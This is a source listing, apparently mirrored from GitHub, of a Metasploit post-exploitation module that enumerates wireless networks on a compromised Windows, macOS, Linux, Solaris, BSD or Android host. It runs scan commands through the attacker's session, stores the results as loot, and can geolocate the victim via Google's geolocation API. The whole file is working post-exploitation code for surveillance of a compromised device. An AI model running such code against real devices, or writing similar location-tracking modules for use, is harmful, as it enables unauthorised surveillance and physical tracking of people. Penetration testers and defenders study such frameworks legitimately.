Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/wlan_geolocate.rb
19813 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
8
def initialize(info = {})
9
super(
10
update_info(
11
info,
12
'Name' => 'Multiplatform WLAN Enumeration and Geolocation',
13
'Description' => %q{
14
Enumerate wireless networks visible to the target device.
15
Optionally geolocate the target by gathering local wireless networks and
16
performing a lookup against Google APIs.
17
},
18
'License' => MSF_LICENSE,
19
'Author' => [ 'Tom Sellers <tom[at]fadedcode.net>'],
20
'Platform' => %w[android osx win linux bsd solaris],
21
'SessionTypes' => [ 'meterpreter', 'shell' ],
22
'Compat' => {
23
'Meterpreter' => {
24
'Commands' => %w[
25
android_*
26
]
27
}
28
},
29
'Notes' => {
30
'Stability' => [CRASH_SAFE],
31
'SideEffects' => [],
32
'Reliability' => []
33
}
34
)
35
)
36
37
register_options(
38
[
39
OptBool.new('GEOLOCATE', [ false, 'Use Google APIs to geolocate Linux, Windows, and OS X targets.', false]),
40
OptString.new('APIKEY', [ false, 'Key for Google APIs if error is received without one.', '']),
41
]
42
)
43
end
44
45
def get_strength(quality)
46
# Convert the signal quality to signal strength (dbm) to be sent to
47
# Google. Docs indicate this should subtract 100 instead of the 95 I
48
# am using here, but in practice 95 seems to be closer.
49
signal_str = quality.to_i / 2
50
signal_str = (signal_str - 95).round
51
return signal_str
52
end
53
54
def parse_wireless_win(listing)
55
wlan_list = []
56
raw_networks = listing.split("\r\n\r\n")
57
58
raw_networks.each do |network|
59
details = network.match(/^SSID \d+ : ([^\r\n]*).*?BSSID 1\s+: (\h{2}:\h{2}:\h{2}:\h{2}:\h{2}:\h{2}).*?Signal\s+: (\d{1,3})%/m)
60
if !details.nil?
61
strength = get_strength(details[3])
62
wlan_list << [ details[2], details[1], strength ]
63
end
64
end
65
66
return wlan_list
67
end
68
69
def parse_wireless_linux(listing)
70
wlan_list = []
71
raw_networks = listing.split('Cell ')
72
73
raw_networks.each do |network|
74
details = network.match(/^\d{1,4} - Address: (\h{2}:\h{2}:\h{2}:\h{2}:\h{2}:\h{2}).*?Signal level=([\d-]{1,3}).*?ESSID:"([^"]*)/m)
75
if !details.nil?
76
wlan_list << [ details[1], details[3], details[2] ]
77
end
78
end
79
80
return wlan_list
81
end
82
83
def parse_wireless_osx(listing)
84
wlan_list = []
85
raw_networks = listing.split("\n")
86
87
raw_networks.each do |network|
88
network = network.strip
89
details = network.match(/^(.*(?!\h\h:))\s*(\h{2}:\h{2}:\h{2}:\h{2}:\h{2}:\h{2})\s*([\d-]{1,3})/)
90
if !details.nil?
91
wlan_list << [ details[2], details[1], details[3] ]
92
end
93
end
94
95
return wlan_list
96
end
97
98
def perform_geolocation(wlan_list)
99
if wlan_list.blank?
100
print_error('Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.')
101
return
102
end
103
104
if datastore['APIKEY'].empty?
105
print_error('Google API key is required.')
106
return
107
end
108
109
g = Rex::Google::Geolocation.new
110
g.set_api_key(datastore['APIKEY'])
111
wlan_list.each do |wlan|
112
g.add_wlan(wlan[0], wlan[2]) # bssid, signalstrength
113
end
114
115
begin
116
g.fetch!
117
rescue RuntimeError => e
118
print_error("Error: #{e}")
119
else
120
print_status(g.to_s)
121
print_status("Google Maps URL: #{g.google_maps_url}")
122
end
123
end
124
125
# Run Method for when run command is issued
126
def run
127
case session.platform
128
when 'windows'
129
listing = cmd_exec('netsh wlan show networks mode=bssid')
130
if listing.nil?
131
print_error('Unable to generate wireless listing.')
132
return nil
133
else
134
store_loot('host.windows.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
135
# The wireless output does not lend itself to displaying on screen for this platform.
136
print_good('Wireless list saved to loot.')
137
if datastore['GEOLOCATE']
138
wlan_list = parse_wireless_win(listing)
139
perform_geolocation(wlan_list)
140
return
141
end
142
end
143
144
when 'osx'
145
listing = cmd_exec('/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s')
146
if listing.nil?
147
print_error('Unable to generate wireless listing.')
148
return nil
149
else
150
store_loot('host.osx.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
151
print_good("Target's wireless networks:\n\n#{listing}\n")
152
if datastore['GEOLOCATE']
153
wlan_list = parse_wireless_osx(listing)
154
perform_geolocation(wlan_list)
155
return
156
end
157
end
158
159
when 'linux'
160
listing = cmd_exec('iwlist scanning')
161
if listing.nil?
162
print_error('Unable to generate wireless listing.')
163
return nil
164
else
165
store_loot('host.linux.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
166
# The wireless output does not lend itself to displaying on screen for this platform.
167
print_good('Wireless list saved to loot.')
168
if datastore['GEOLOCATE']
169
wlan_list = parse_wireless_linux(listing)
170
perform_geolocation(wlan_list)
171
return
172
end
173
end
174
175
when 'solaris'
176
listing = cmd_exec('dladm scan-wifi')
177
if listing.blank?
178
print_error('Unable to generate wireless listing.')
179
return nil
180
else
181
store_loot('host.solaris.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
182
print_good("Target's wireless networks:\n\n#{listing}\n")
183
print_error("Geolocation is not supported on this platform.\n\n") if datastore['GEOLOCATE']
184
return
185
end
186
187
when 'bsd'
188
interface = cmd_exec("dmesg | grep -i wlan | cut -d ':' -f1 | uniq")
189
# Printing interface as this platform requires the interface to be specified
190
# it might not be detected correctly.
191
print_status("Found wireless interface: #{interface}")
192
listing = cmd_exec("ifconfig #{interface} scan")
193
if listing.blank?
194
print_error('Unable to generate wireless listing.')
195
return nil
196
else
197
store_loot('host.bsd.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
198
print_good("Target's wireless networks:\n\n#{listing}\n")
199
print_error("Geolocation is not supported on this platform.\n\n") if datastore['GEOLOCATE']
200
return
201
end
202
when 'android'
203
log = client.android.wlan_geolocate
204
listing = ''
205
wlan_list = []
206
log.each do |x|
207
mac = x['bssid']
208
ssid = x['ssid']
209
ss = x['level'].to_s
210
listing += "BSSID: #{mac}\n"
211
listing += "SSID: #{ssid}\n"
212
listing += "Strength: #{ss}\n\n"
213
wlan_list << [mac, ssid, ss]
214
end
215
if listing.blank?
216
print_error('Unable to generate wireless listing.')
217
return nil
218
end
219
store_loot('host.android.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
220
print_good("Target's wireless networks:\n\n#{listing}\n")
221
if datastore['GEOLOCATE']
222
perform_geolocation(wlan_list)
223
return
224
end
225
else
226
print_error("The target's platform, #{session.platform}, is not supported at this time.")
227
return nil
228
end
229
rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError => e
230
vprint_error(e.message)
231
rescue StandardError => e
232
print_status("The following error was encountered: #{e.class} #{e}")
233
end
234
235
end
236
237